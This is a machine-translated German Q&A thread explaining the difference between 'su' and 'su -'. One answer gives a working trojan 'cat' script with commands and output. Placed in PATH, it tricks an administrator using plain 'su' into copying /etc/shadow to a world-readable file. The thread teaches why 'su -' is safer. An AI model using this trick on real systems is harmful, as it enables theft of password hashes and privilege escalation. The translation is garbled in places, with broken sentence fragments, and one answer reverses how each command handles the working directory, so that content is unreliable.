Antworten:
su -ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet eine saubere Basis.
su Wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung zur Verfügung, die fast der des alten Benutzers entspricht.
Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf einen Computer und Ihr ignoranter Administrator gewährt Ihnen keinen Root-Zugriff. Lass ihn (hoffentlich) austricksen.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Jetzt fragst du deinen Administrator, warum du catdie Dummy-Datei in deinem Home-Ordner nicht finden kannst, sie wird einfach nicht funktionieren!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Wenn Ihr Administrator nicht so schlau oder nur ein bisschen faul ist, kommt er möglicherweise an Ihren Schreibtisch und versucht es mit seinen Super-User-Kräften:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Beeindruckend! Danke, super Admin!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Er, er.
Möglicherweise haben Sie bemerkt, dass die beschädigte $PATHVariable nicht zurückgesetzt wurde. Dies wäre nicht geschehen, wenn der Administrator su -stattdessen aufgerufen hätte.
umaskZahl wie 000 einzustellen, da dies sonst nicht funktioniert.
suDatei in den PATH legen . Es ist nicht so schwer, das Verhalten des Realen nachzuahmen su. Der Superuser war sowieso nachlässig :-)
su --ist NICHT das Gleiche wie su -: --Weist einen getopt (s) (oder ähnlichen) Optionshandler an, die Verarbeitung der Befehlszeile für weitere Optionen zu beenden (nützlich, wenn der Rest z. B. Dateinamen enthält, die mit einem '-' beginnen könnten). Das heißt, in „rm -i - -f“: -f dann als reguläres Argument behandelt wird, so hier als Name der Datei zu rm -i, und nicht als zusaetzliche -fOption auf den rmBefehl. So su --ist es einfach suund nicht su -! So su --wäre als unsicher auf das (lustig und lehrreich ) Beispiel Givan von wag. Verwenden Sie su -.
su -Meldet Sie vollständig als root an, suwodurch Sie so tun, als wären Sie root.
Das naheliegendste Beispiel hierfür ist das ~Basisverzeichnis von root, wenn Sie es verwenden su -, und Ihr eigenes Basisverzeichnis, wenn Sie es verwenden su.
Abhängig von Ihrem System kann dies auch zu Unterschieden bei Eingabeaufforderung PATHoder Verlaufsdatei führen.
Wenn Sie also Teil eines Teams sind, das ein System verwaltet, und Ihr Kollege Ihnen einen Befehl zum Ausführen gibt, wissen Sie, dass er bei Verwendung beider Systeme gleich funktioniert. Wenn Sie jedoch beide Systeme su -verwenden su, kann dies zu Unterschieden führen verschiedene Shell-Konfigurationen.
Wenn Sie andererseits einen Befehl als root ausführen möchten, aber Ihre eigene Konfiguration verwenden möchten, ist dies möglicherweise subesser für Sie.
Vergiss auch nicht sudo, dass es eine -sOption gibt, eine Shell zu starten, die als root ausgeführt wird. Dies hat natürlich auch andere Regeln, die sich je nach verwendeter Distribution ändern.
.bashrcoder /etc/bashrcoder /etc/profile.dSkripte werden eingestellt PATH. Suchen Sie nach if [ $UID -eq 0 ]oder so ähnlich.
$USERzum Beispiel bleibt unverändert.
sudo su?
Ich benutze su - wenn ich als normaler Benutzer in einem Verzeichnis bin, aber zum Stammverzeichnis wechseln und nach dem Wechsel im selben Verzeichnis bleiben möchte. Wenn Sie su verwenden, wechselt der Benutzer zu root und Sie gelangen auch zu / root, dem Stammverzeichnis.
/oder was auch immer als Stammverzeichnis definiert ist
Der Hauptunterschied ist:
su - username Richtet die Shell-Umgebung so ein, als wäre sie eine saubere Anmeldung als angegebener Benutzer. Sie greift auf die Umgebungsvariablen der angegebenen Benutzer zu und verwendet diese.
su username Startet einfach eine Shell mit den aktuellen Umgebungseinstellungen für den angegebenen Benutzer.
Wenn der Benutzername nicht mit suund angegeben su -wird, wird standardmäßig das Root-Konto verwendet.
su --ist das gleiche wiesu.